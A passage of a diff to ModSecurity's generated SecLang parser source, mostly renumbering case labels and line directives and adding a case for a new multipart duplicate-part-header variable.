{ VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ArgsGetNames_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 4128 "seclang-parser.cc" +#line 4251 "seclang-parser.cc" break; - case 256: // var: VARIABLE_ARGS_GET_NAMES -#line 2249 "seclang-parser.yy" + case 266: // var: VARIABLE_ARGS_GET_NAMES +#line 2336 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ArgsGetNames_NoDictElement()); } -#line 4136 "seclang-parser.cc" +#line 4259 "seclang-parser.cc" break; - case 257: // var: VARIABLE_ARGS_POST_NAMES "Dictionary element" -#line 2254 "seclang-parser.yy" + case 267: // var: VARIABLE_ARGS_POST_NAMES "Dictionary element" +#line 2341 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ArgsPostNames_DictElement(yystack_[0].value.as < std::string > ())); } -#line 4144 "seclang-parser.cc" +#line 4267 "seclang-parser.cc" break; - case 258: // var: VARIABLE_ARGS_POST_NAMES "Dictionary element, selected by regexp" -#line 2258 "seclang-parser.yy" + case 268: // var: VARIABLE_ARGS_POST_NAMES "Dictionary element, selected by regexp" +#line 2345 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ArgsPostNames_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 4152 "seclang-parser.cc" +#line 4275 "seclang-parser.cc" break; - case 259: // var: VARIABLE_ARGS_POST_NAMES -#line 2262 "seclang-parser.yy" + case 269: // var: VARIABLE_ARGS_POST_NAMES +#line 2349 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ArgsPostNames_NoDictElement()); } -#line 4160 "seclang-parser.cc" +#line 4283 "seclang-parser.cc" break; - case 260: // var: VARIABLE_REQUEST_HEADERS_NAMES "Dictionary element" -#line 2267 "seclang-parser.yy" + case 270: // var: VARIABLE_REQUEST_HEADERS_NAMES "Dictionary element" +#line 2354 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestHeadersNames_DictElement(yystack_[0].value.as < std::string > ())); } -#line 4168 "seclang-parser.cc" +#line 4291 "seclang-parser.cc" break; - case 261: // var: VARIABLE_REQUEST_HEADERS_NAMES "Dictionary element, selected by regexp" -#line 2271 "seclang-parser.yy" + case 271: // var: VARIABLE_REQUEST_HEADERS_NAMES "Dictionary element, selected by regexp" +#line 2358 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestHeadersNames_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 4176 "seclang-parser.cc" +#line 4299 "seclang-parser.cc" break; - case 262: // var: VARIABLE_REQUEST_HEADERS_NAMES -#line 2275 "seclang-parser.yy" + case 272: // var: VARIABLE_REQUEST_HEADERS_NAMES +#line 2362 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestHeadersNames_NoDictElement()); } -#line 4184 "seclang-parser.cc" +#line 4307 "seclang-parser.cc" break; - case 263: // var: VARIABLE_RESPONSE_CONTENT_TYPE -#line 2280 "seclang-parser.yy" + case 273: // var: VARIABLE_RESPONSE_CONTENT_TYPE +#line 2367 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ResponseContentType()); } -#line 4192 "seclang-parser.cc" +#line 4315 "seclang-parser.cc" break; - case 264: // var: VARIABLE_RESPONSE_HEADERS_NAMES "Dictionary element" -#line 2285 "seclang-parser.yy" + case 274: // var: VARIABLE_RESPONSE_HEADERS_NAMES "Dictionary element" +#line 2372 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ResponseHeadersNames_DictElement(yystack_[0].value.as < std::string > ())); } -#line 4200 "seclang-parser.cc" +#line 4323 "seclang-parser.cc" break; - case 265: // var: VARIABLE_RESPONSE_HEADERS_NAMES "Dictionary element, selected by regexp" -#line 2289 "seclang-parser.yy" + case 275: // var: VARIABLE_RESPONSE_HEADERS_NAMES "Dictionary element, selected by regexp" +#line 2376 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ResponseHeadersNames_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 4208 "seclang-parser.cc" +#line 4331 "seclang-parser.cc" break; - case 266: // var: VARIABLE_RESPONSE_HEADERS_NAMES -#line 2293 "seclang-parser.yy" + case 276: // var: VARIABLE_RESPONSE_HEADERS_NAMES +#line 2380 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ResponseHeadersNames_NoDictElement()); } -#line 4216 "seclang-parser.cc" +#line 4339 "seclang-parser.cc" break; - case 267: // var: VARIABLE_ARGS_COMBINED_SIZE -#line 2297 "seclang-parser.yy" + case 277: // var: VARIABLE_ARGS_COMBINED_SIZE +#line 2384 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ArgsCombinedSize()); } -#line 4224 "seclang-parser.cc" +#line 4347 "seclang-parser.cc" break; - case 268: // var: "AUTH_TYPE" -#line 2301 "seclang-parser.yy" + case 278: // var: "AUTH_TYPE" +#line 2388 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::AuthType()); } -#line 4232 "seclang-parser.cc" +#line 4355 "seclang-parser.cc" break; - case 269: // var: "FILES_COMBINED_SIZE" -#line 2305 "seclang-parser.yy" + case 279: // var: "FILES_COMBINED_SIZE" +#line 2392 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::FilesCombinedSize()); } -#line 4240 "seclang-parser.cc" +#line 4363 "seclang-parser.cc" break; - case 270: // var: "FULL_REQUEST" -#line 2309 "seclang-parser.yy" + case 280: // var: "FULL_REQUEST" +#line 2396 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::FullRequest()); } -#line 4248 "seclang-parser.cc" +#line 4371 "seclang-parser.cc" break; - case 271: // var: "FULL_REQUEST_LENGTH" -#line 2313 "seclang-parser.yy" + case 281: // var: "FULL_REQUEST_LENGTH" +#line 2400 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::FullRequestLength()); } -#line 4256 "seclang-parser.cc" +#line 4379 "seclang-parser.cc" break; - case 272: // var: "INBOUND_DATA_ERROR" -#line 2317 "seclang-parser.yy" + case 282: // var: "INBOUND_DATA_ERROR" +#line 2404 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::InboundDataError()); } -#line 4264 "seclang-parser.cc" +#line 4387 "seclang-parser.cc" break; - case 273: // var: "MATCHED_VAR" -#line 2321 "seclang-parser.yy" + case 283: // var: "MATCHED_VAR" +#line 2408 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MatchedVar()); } -#line 4272 "seclang-parser.cc" +#line 4395 "seclang-parser.cc" break; - case 274: // var: "MATCHED_VAR_NAME" -#line 2325 "seclang-parser.yy" + case 284: // var: "MATCHED_VAR_NAME" +#line 2412 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MatchedVarName()); } -#line 4280 "seclang-parser.cc" +#line 4403 "seclang-parser.cc" break; - case 275: // var: "MSC_PCRE_ERROR" -#line 2329 "seclang-parser.yy" + case 285: // var: "MSC_PCRE_ERROR" +#line 2416 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MscPcreError()); } -#line 4288 "seclang-parser.cc" +#line 4411 "seclang-parser.cc" break; - case 276: // var: "MSC_PCRE_LIMITS_EXCEEDED" -#line 2333 "seclang-parser.yy" + case 286: // var: "MSC_PCRE_LIMITS_EXCEEDED" +#line 2420 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MscPcreLimitsExceeded()); } -#line 4296 "seclang-parser.cc" +#line 4419 "seclang-parser.cc" break; - case 277: // var: VARIABLE_MULTIPART_BOUNDARY_QUOTED -#line 2337 "seclang-parser.yy" + case 287: // var: VARIABLE_MULTIPART_BOUNDARY_QUOTED +#line 2424 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartBoundaryQuoted()); } -#line 4304 "seclang-parser.cc" +#line 4427 "seclang-parser.cc" break; - case 278: // var: VARIABLE_MULTIPART_BOUNDARY_WHITESPACE -#line 2341 "seclang-parser.yy" + case 288: // var: VARIABLE_MULTIPART_BOUNDARY_WHITESPACE +#line 2428 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartBoundaryWhiteSpace()); } -#line 4312 "seclang-parser.cc" +#line 4435 "seclang-parser.cc" break; - case 279: // var: "MULTIPART_CRLF_LF_LINES" -#line 2345 "seclang-parser.yy" + case 289: // var: "MULTIPART_CRLF_LF_LINES" +#line 2432 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartCrlfLFLines()); } -#line 4320 "seclang-parser.cc" +#line 4443 "seclang-parser.cc" break; - case 280: // var: "MULTIPART_DATA_AFTER" -#line 2349 "seclang-parser.yy" + case 290: // var: "MULTIPART_DATA_AFTER" +#line 2436 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartDateAfter()); } -#line 4328 "seclang-parser.cc" +#line 4451 "seclang-parser.cc" break; - case 281: // var: VARIABLE_MULTIPART_DATA_BEFORE -#line 2353 "seclang-parser.yy" + case 291: // var: VARIABLE_MULTIPART_DATA_BEFORE +#line 2440 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartDateBefore()); } -#line 4336 "seclang-parser.cc" +#line 4459 "seclang-parser.cc" + break; + + case 292: // var: "MULTIPART_DUPLICATE_PART_HEADER" +#line 2444 "seclang-parser.yy" + { + VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartDuplicatePartHeader()); + } +#line 4467 "seclang-parser.cc" break; - case 282: // var: "MULTIPART_FILE_LIMIT_EXCEEDED" -#line 2357 "seclang-parser.yy" + case 293: // var: "MULTIPART_FILE_LIMIT_EXCEEDED" +#line 2448 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartFileLimitExceeded()); } -#line 4344 "seclang-parser.cc" +#line 4475 "seclang-parser.cc" break; - case 283: // var: "MULTIPART_HEADER_FOLDING" -#line 2361 "seclang-parser.yy" + case 294: // var: "MULTIPART_HEADER_FOLDING" +#line 2452 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartHeaderFolding()); } -#line 4352 "seclang-parser.cc" +#line 4483 "seclang-parser.cc" break; - case 284: // var: "MULTIPART_INVALID_HEADER_FOLDING" -#line 2365 "seclang-parser.yy" + case 295: // var: "MULTIPART_INVALID_HEADER_FOLDING" +#line 2456 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartInvalidHeaderFolding()); } -#line 4360 "seclang-parser.cc" +#line 4491 "seclang-parser.cc" break; - case 285: // var: VARIABLE_MULTIPART_INVALID_PART -#line 2369 "seclang-parser.yy" + case 296: // var: VARIABLE_MULTIPART_INVALID_PART +#line 2460 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartInvalidPart()); } -#line 4368 "seclang-parser.cc" +#line 4499 "seclang-parser.cc" break; - case 286: // var: "MULTIPART_INVALID_QUOTING" -#line 2373 "seclang-parser.yy" + case 297: // var: "MULTIPART_INVALID_QUOTING" +#line 2464 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartInvalidQuoting()); } -#line 4376 "seclang-parser.cc" +#line 4507 "seclang-parser.cc" break; - case 287: // var: VARIABLE_MULTIPART_LF_LINE -#line 2377 "seclang-parser.yy" + case 298: // var: VARIABLE_MULTIPART_LF_LINE +#line 2468 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartLFLine()); } -#line 4384 "seclang-parser.cc" +#line 4515 "seclang-parser.cc" break; - case 288: // var: VARIABLE_MULTIPART_MISSING_SEMICOLON -#line 2381 "seclang-parser.yy" + case 299: // var: VARIABLE_MULTIPART_MISSING_SEMICOLON +#line 2472 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartMissingSemicolon()); } -#line 4392 "seclang-parser.cc" +#line 4523 "seclang-parser.cc" break; - case 289: // var: VARIABLE_MULTIPART_SEMICOLON_MISSING -#line 2385 "seclang-parser.yy" + case 300: // var: VARIABLE_MULTIPART_SEMICOLON_MISSING +#line 2476 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartMissingSemicolon()); } -#line 4400 "seclang-parser.cc" +#line 4531 "seclang-parser.cc" break; - case 290: // var: "MULTIPART_STRICT_ERROR" -#line 2389 "seclang-parser.yy" + case 301: // var: "MULTIPART_STRICT_ERROR" +#line 2480 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartStrictError()); } -#line 4408 "seclang-parser.cc" +#line 4539 "seclang-parser.cc" break; - case 291: // var: "MULTIPART_UNMATCHED_BOUNDARY" -#line 2393 "seclang-parser.yy" + case 302: // var: "MULTIPART_UNMATCHED_BOUNDARY" +#line 2484 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartUnmatchedBoundary()); } -#line 4416 "seclang-parser.cc" +#line 4547 "seclang-parser.cc" break; - case 292: // var: "OUTBOUND_DATA_ERROR" -#line 2397 "seclang-parser.yy" + case 303: // var: "OUTBOUND_DATA_ERROR" +#line 2488 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::OutboundDataError()); } -#line 4424 "seclang-parser.cc" +#line 4555 "seclang-parser.cc" break; - case 293: // var: "PATH_INFO" -#line 2401 "seclang-parser.yy" + case 304: // var: "PATH_INFO" +#line 2492 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::PathInfo()); } -#line 4432 "seclang-parser.cc" +#line 4563 "seclang-parser.cc" break; - case 294: // var: "QUERY_STRING" -#line 2405 "seclang-parser.yy" + case 305: // var: "QUERY_STRING" +#line 2496 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::QueryString()); } -#line 4440 "seclang-parser.cc" +#line 4571 "seclang-parser.cc" break; - case 295: // var: "REMOTE_ADDR" -#line 2409 "seclang-parser.yy" + case 306: // var: "REMOTE_ADDR" +#line 2500 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RemoteAddr()); } -#line 4448 "seclang-parser.cc" +#line 4579 "seclang-parser.cc" break; - case 296: // var: "REMOTE_HOST" -#line 2413 "seclang-parser.yy" + case 307: // var: "REMOTE_HOST" +#line 2504 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RemoteHost()); } -#line 4456 "seclang-parser.cc" +#line 4587 "seclang-parser.cc" break; - case 297: // var: "REMOTE_PORT" -#line 2417 "seclang-parser.yy" + case 308: // var: "REMOTE_PORT" +#line 2508 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RemotePort()); } -#line 4464 "seclang-parser.cc" +#line 4595 "seclang-parser.cc" break; - case 298: // var: "REQBODY_ERROR" -#line 2421 "seclang-parser.yy" + case 309: // var: "REQBODY_ERROR" +#line 2512 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ReqbodyError()); } -#line 4472 "seclang-parser.cc" +#line 4603 "seclang-parser.cc" break; - case 299: // var: "REQBODY_ERROR_MSG" -#line 2425 "seclang-parser.yy" + case 310: // var: "REQBODY_ERROR_MSG" +#line 2516 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ReqbodyErrorMsg()); } -#line 4480 "seclang-parser.cc" +#line 4611 "seclang-parser.cc" break; - case 300: // var: "REQBODY_PROCESSOR" -#line 2429 "seclang-parser.yy" + case 311: // var: "REQBODY_PROCESSOR" +#line 2520 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ReqbodyProcessor()); } -#line 4488 "seclang-parser.cc" +#line 4619 "seclang-parser.cc" break; - case 301: // var: "REQBODY_PROCESSOR_ERROR" -#line 2433 "seclang-parser.yy" + case 312: // var: "REQBODY_PROCESSOR_ERROR" +#line 2524 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ReqbodyProcessorError()); } -#line 4496 "seclang-parser.cc" +#line 4627 "seclang-parser.cc" break; - case 302: // var: "REQBODY_PROCESSOR_ERROR_MSG" -#line 2437 "seclang-parser.yy" + case 313: // var: "REQBODY_PROCESSOR_ERROR_MSG" +#line 2528 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ReqbodyProcessorErrorMsg()); } -#line 4504 "seclang-parser.cc" +#line 4635 "seclang-parser.cc" break; - case 303: // var: "REQUEST_BASENAME" -#line 2441 "seclang-parser.yy" + case 314: // var: "REQUEST_BASENAME" +#line 2532 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestBasename()); } -#line 4512 "seclang-parser.cc" +#line 4643 "seclang-parser.cc" break; - case 304: // var: "REQUEST_BODY" -#line 2445 "seclang-parser.yy" + case 315: // var: "REQUEST_BODY" +#line 2536 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestBody()); } -#line 4520 "seclang-parser.cc" +#line 4651 "seclang-parser.cc" break; - case 305: // var: "REQUEST_BODY_LENGTH" -#line 2449 "seclang-parser.yy" + case 316: // var: "REQUEST_BODY_LENGTH" +#line 2540 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestBodyLength()); } -#line 4528 "seclang-parser.cc" +#line 4659 "seclang-parser.cc" break; - case 306: // var: "REQUEST_FILENAME" -#line 2453 "seclang-parser.yy" + case 317: // var: "REQUEST_FILENAME" +#line 2544 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestFilename()); } -#line 4536 "seclang-parser.cc" +#line 4667 "seclang-parser.cc" break; - case 307: // var: "REQUEST_LINE" -#line 2457 "seclang-parser.yy" + case 318: // var: "REQUEST_LINE" +#line 2548 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestLine()); } -#line 4544 "seclang-parser.cc" +#line 4675 "seclang-parser.cc" break; - case 308: // var: "REQUEST_METHOD" -#line 2461 "seclang-parser.yy" + case 319: // var: "REQUEST_METHOD" +#line 2552 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestMethod()); } -#line 4552 "seclang-parser.cc" +#line 4683 "seclang-parser.cc" break; - case 309: // var: "REQUEST_PROTOCOL" -#line 2465 "seclang-parser.yy" + case 320: // var: "REQUEST_PROTOCOL" +#line 2556 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestProtocol()); } -#line 4560 "seclang-parser.cc" +#line 4691 "seclang-parser.cc" break; - case 310: // var: "REQUEST_URI" -#line 2469 "seclang-parser.yy" + case 321: // var: "REQUEST_URI" +#line 2560 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestURI()); } -#line 4568 "seclang-parser.cc" +#line 4699 "seclang-parser.cc" break; - case 311: // var: "REQUEST_URI_RAW" -#line 2473 "seclang-parser.yy" + case 322: // var: "REQUEST_URI_RAW" +#line 2564 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestURIRaw()); } -#line 4576 "seclang-parser.cc" +#line 4707 "seclang-parser.cc" break; - case 312: // var: "RESPONSE_BODY" -#line 2477 "seclang-parser.yy" + case 323: // var: "RESPONSE_BODY" +#line 2568 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ResponseBody()); } -#line 4584 "seclang-parser.cc" +#line 4715 "seclang-parser.cc" break; - case 313: // var: "RESPONSE_CONTENT_LENGTH" -#line 2481 "seclang-parser.yy" + case 324: // var: "RESPONSE_CONTENT_LENGTH" +#line 2572 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ResponseContentLength()); } -#line 4592 "seclang-parser.cc" +#line 4723 "seclang-parser.cc" break; - case 314: // var: "RESPONSE_PROTOCOL" -#line 2485 "seclang-parser.yy" + case 325: // var: "RESPONSE_PROTOCOL" +#line 2576 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ResponseProtocol()); } -#line 4600 "seclang-parser.cc" +#line 4731 "seclang-parser.cc" break; - case 315: // var: "RESPONSE_STATUS" -#line 2489 "seclang-parser.yy" + case 326: // var: "RESPONSE_STATUS" +#line 2580 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ResponseStatus()); } -#line 4608 "seclang-parser.cc" +#line 4739 "seclang-parser.cc" break; - case 316: // var: "SERVER_ADDR" -#line 2493 "seclang-parser.yy" + case 327: // var: "SERVER_ADDR" +#line 2584 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ServerAddr()); } -#line 4616 "seclang-parser.cc" +#line 4747 "seclang-parser.cc" break; - case 317: // var: "SERVER_NAME" -#line 2497 "seclang-parser.yy" + case 328: // var: "SERVER_NAME" +#line 2588 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ServerName()); } -#line 4624 "seclang-parser.cc" +#line 4755 "seclang-parser.cc" break; - case 318: // var: "SERVER_PORT" -#line 2501 "seclang-parser.yy" + case 329: // var: "SERVER_PORT" +#line 2592 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ServerPort()); } -#line 4632 "seclang-parser.cc" +#line 4763 "seclang-parser.cc" break; - case 319: // var: "SESSIONID" -#line 2505 "seclang-parser.yy" + case 330: // var: "SESSIONID" +#line 2596 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::SessionID()); } -#line 4640 "seclang-parser.cc" +#line 4771 "seclang-parser.cc" break; - case 320: // var: "UNIQUE_ID" -#line 2509 "seclang-parser.yy" + case 331: // var: "UNIQUE_ID" +#line 2600 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::UniqueID()); } -#line 4648 "seclang-parser.cc" +#line 4779 "seclang-parser.cc" break; - case 321: // var: "URLENCODED_ERROR" -#line 2513 "seclang-parser.yy" + case 332: // var: "URLENCODED_ERROR" +#line 2604 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::UrlEncodedError()); } -#line 4656 "seclang-parser.cc" +#line 4787 "seclang-parser.cc" break; - case 322: // var: "USERID" -#line 2517 "seclang-parser.yy" + case 333: // var: "USERID" +#line 2608 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::UserID()); } -#line 4664 "seclang-parser.cc" +#line 4795 "seclang-parser.cc" break; - case 323: // var: "VARIABLE_STATUS" -#line 2521 "seclang-parser.yy" + case 334: // var: "VARIABLE_STATUS" +#line 2612 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Status()); } -#line 4672 "seclang-parser.cc" +#line 4803 "seclang-parser.cc" break; - case 324: // var: "VARIABLE_STATUS_LINE" -#line 2525 "seclang-parser.yy" + case 335: // var: "VARIABLE_STATUS_LINE" +#line 2616 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Status()); } -#line 4680 "seclang-parser.cc" +#line 4811 "seclang-parser.cc" break; - case 325: // var: "WEBAPPID" -#line 2529 "seclang-parser.yy" + case 336: // var: "WEBAPPID" +#line 2620 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::WebAppId()); } -#line 4688 "seclang-parser.cc" +#line 4819 "seclang-parser.cc" break; - case 326: // var: "RUN_TIME_VAR_DUR" -#line 2533 "seclang-parser.yy" + case 337: // var: "RUN_TIME_VAR_DUR" +#line 2624 "seclang-parser.yy" { std::string name(yystack_[0].value.as < std::string > ()); char z = name.at(0); std::unique_ptr c(new Duration(name)); yylhs.value.as < std::unique_ptr > () = std::move(c); } -#line 4699 "seclang-parser.cc" +#line 4830 "seclang-parser.cc" break; - case 327: // var: "RUN_TIME_VAR_BLD" -#line 2541 "seclang-parser.yy" + case 338: // var: "RUN_TIME_VAR_BLD" +#line 2632 "seclang-parser.yy" { std::string name(yystack_[0].value.as < std::string > ()); char z = name.at(0); std::unique_ptr c(new ModsecBuild(name)); yylhs.value.as < std::unique_ptr > () = std::move(c); } -#line 4710 "seclang-parser.cc" +#line 4841 "seclang-parser.cc" break; - case 328: // var: "RUN_TIME_VAR_HSV" -#line 2548 "seclang-parser.yy" + case 339: // var: "RUN_TIME_VAR_HSV" +#line 2639 "seclang-parser.yy" { std::string name(yystack_[0].value.as < std::string > ()); char z = name.at(0); std::unique_ptr c(new HighestSeverity(name)); yylhs.value.as < std::unique_ptr > () = std::move(c); } -#line 4721 "seclang-parser.cc" +#line 4852 "seclang-parser.cc" break; - case 329: // var: "RUN_TIME_VAR_REMOTE_USER" -#line 2555 "seclang-parser.yy" + case 340: // var: "RUN_TIME_VAR_REMOTE_USER" +#line 2646 "seclang-parser.yy" { std::string name(yystack_[0].value.as < std::string > ()); char z = name.at(0); std::unique_ptr c(new RemoteUser(name)); yylhs.value.as < std::unique_ptr > () = std::move(c); } -#line 4732 "seclang-parser.cc" +#line 4863 "seclang-parser.cc" break; - case 330: // var: "RUN_TIME_VAR_TIME" -#line 2562 "seclang-parser.yy" + case 341: // var: "RUN_TIME_VAR_TIME" +#line 2653 "seclang-parser.yy" { std::string name(yystack_[0].value.as < std::string > ()); char z = name.at(0); std::unique_ptr c(new Time(name)); yylhs.value.as < std::unique_ptr > () = std::move(c); } -#line 4743 "seclang-parser.cc" +#line 4874 "seclang-parser.cc" break; - case 331: // var: "RUN_TIME_VAR_TIME_DAY" -#line 2569 "seclang-parser.yy" + case 342: // var: "RUN_TIME_VAR_TIME_DAY" +#line 2660 "seclang-parser.yy" { std::string name(yystack_[0].value.as < std::string > ()); char z = name.at(0); std::unique_ptr c(new TimeDay(name)); yylhs.value.as < std::unique_ptr > () = std::move(c); } -#line 4754 "seclang-parser.cc" +#line 4885 "seclang-parser.cc" break; - case 332: // var: "RUN_TIME_VAR_TIME_EPOCH" -#line 2576 "seclang-parser.yy" + case 343: // var: "RUN_TIME_VAR_TIME_EPOCH" +#line 2667 "seclang-parser.yy" { std::string name(yystack_[0].value.as < std::string > ()); char z = name.at(0); std::unique_ptr c(new TimeEpoch(name)); yylhs.value.as < std::unique_ptr > () = std::move(c); } -#line 4765 "seclang-parser.cc" +#line 4896 "seclang-parser.cc" break; - case 333: // var: "RUN_TIME_VAR_TIME_HOUR" -#line 2583 "seclang-parser.yy" + case 344: // var: "RUN_TIME_VAR_TIME_HOUR" +#line 2674 "seclang-parser.yy" { std::string name(yystack_[0].value.as < std::string > ()); char z = name.at(0); std::unique_ptr c(new TimeHour(name)); yylhs.value.as < std::unique_ptr > () = std::move(c); } -#line 4776 "seclang-parser.cc" +#line 4907 "seclang-parser.cc" break; - case 334: // var: "RUN_TIME_VAR_TIME_MIN" -#line 2590 "seclang-parser.yy" + case 345: // var: "RUN_TIME_VAR_TIME_MIN" +#line 2681 "seclang-parser.yy" { std::string name(yystack_[0].value.as < std::string > ()); char z = name.at(0); std::unique_ptr c(new TimeMin(name)); yylhs.value.as < std::unique_ptr > () = std::move(c); } -#line 4787 "seclang-parser.cc" +#line 4918 "seclang-parser.cc" break; - case 335: // var: "RUN_TIME_VAR_TIME_MON" -#line 2597 "seclang-parser.yy" + case 346: // var: "RUN_TIME_VAR_TIME_MON" +#line 2688 "seclang-parser.yy" { std::string name(yystack_[0].value.as < std::string > ()); char z = name.at(0); std::unique_ptr c(new TimeMon(name)); yylhs.value.as < std::unique_ptr > () = std::move(c); } -#line 4798 "seclang-parser.cc" +#line 4929 "seclang-parser.cc" break; - case 336: // var: "RUN_TIME_VAR_TIME_SEC" -#line 2604 "seclang-parser.yy" + case 347: // var: "RUN_TIME_VAR_TIME_SEC" +#line 2695 "seclang-parser.yy" { std::string name(yystack_[0].value.as < std::string > ()); char z = name.at(0); std::unique_ptr c(new TimeSec(name)); yylhs.value.as < std::unique_ptr > () = std::move(c); } -#line 4809 